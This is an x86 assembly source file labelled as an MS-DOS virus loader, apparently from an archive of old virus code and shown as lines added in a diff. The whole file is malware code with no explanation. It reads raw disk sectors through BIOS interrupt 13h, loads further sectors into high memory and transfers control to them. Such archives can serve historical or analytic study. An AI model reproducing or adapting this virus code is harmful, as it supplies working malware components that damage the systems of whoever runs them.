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MSDOS/Virus.MSDOS.Unknown.loader.asm

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+	PAGE ,132
+VIRUS	SEGMENT PARA PUBLIC 'CODE'
+	ASSUME CS:VIRUS,DS:VIRUS
+	call	gyilk
+	int	20h
+	nop
+gyilk:	push	ax
+	push	bx
+	push	cx
+	push	dx
+	push	es
+	push	ds
+	push	di
+	push	si
+	call	cim
+cim:	pop	bx
+	mov	si,5aa5h
+	mov	di,55aah
+	push	cs
+	pop	es
+ujra:	add	bx,1000
+	cmp	bx,1000
+	jnc	kilep1
+	jmp	kilep
+kilep1:	push	bx
+	mov	ax,201h
+	mov	dx,80h
+	mov	cx,1
+	int	13h
+	pop	bx
+	jnc	tovabb
+	jmp	kilep
+tovabb:	cmp	si,0a55ah
+	jnz	tivbi1
+	jmp	kilep
+tivbi1:	mov	ax,cs:word ptr [bx]
+	cmp	ax,12cdh
+	jz	kilep
+tovbi:	push	bx
+	mov	ax,201h
+	mov	dx,0h
+	mov	cx,1
+	int	13h
+	pop	bx
+	jnc	tovabbi
+	cmp	ah,6
+	jz	tovbi
+	jmp	kilep
+tovabbi: mov	ax,cs
+	add	ax,1000h
+	push	bx
+	push	ax
+	int	12h
+	mov	bx,64
+	mul	bx
+	sub	ax,1000h
+	mov	bx,ax
+	pop	ax
+	cmp	bx,ax
+	jnc	oke1
+	pop	bx
+	jmp	kilep
+oke1:	pop	bx
+oke:	mov	es,ax
+	mov	ax,cs:[bx+18h]
+	mov	cx,cs:[bx+1ah]
+	mul	cx
+	mov	cx,ax
+	mov	ax,cs:[bx+13h]
+	mov	dx,0
+	div	cx
+	sub	bx,1000
+	push	bx
+	mov	ch,al
+	mov	cl,1
+	mov	bx,100h
+	mov	dx,0
+	mov	ax,208h
+	int	13h
+	pop	bx
+	jc	kilep
+	push	bx
+	mov	bx,100h
+	mov	ax,es:[bx]
+	cmp	ax,2452h
+	pop	bx
+	jnz	kilep
+	mov	ax,bx
+	add	ax,offset kilep-offset cim
+	push	cs
+	push	ax
+	mov	ax,10ah
+	push	es
+	push	ax
+	retf
+kilep:	pop	si
+	pop	di
+	pop	ds
+	pop	es
+	pop	dx
+	pop	cx
+	pop	bx
+	pop	ax
+	ret
+cime:	dw	0
+VEG	EQU $
+
+VIRUS	ENDS
+
+	END
+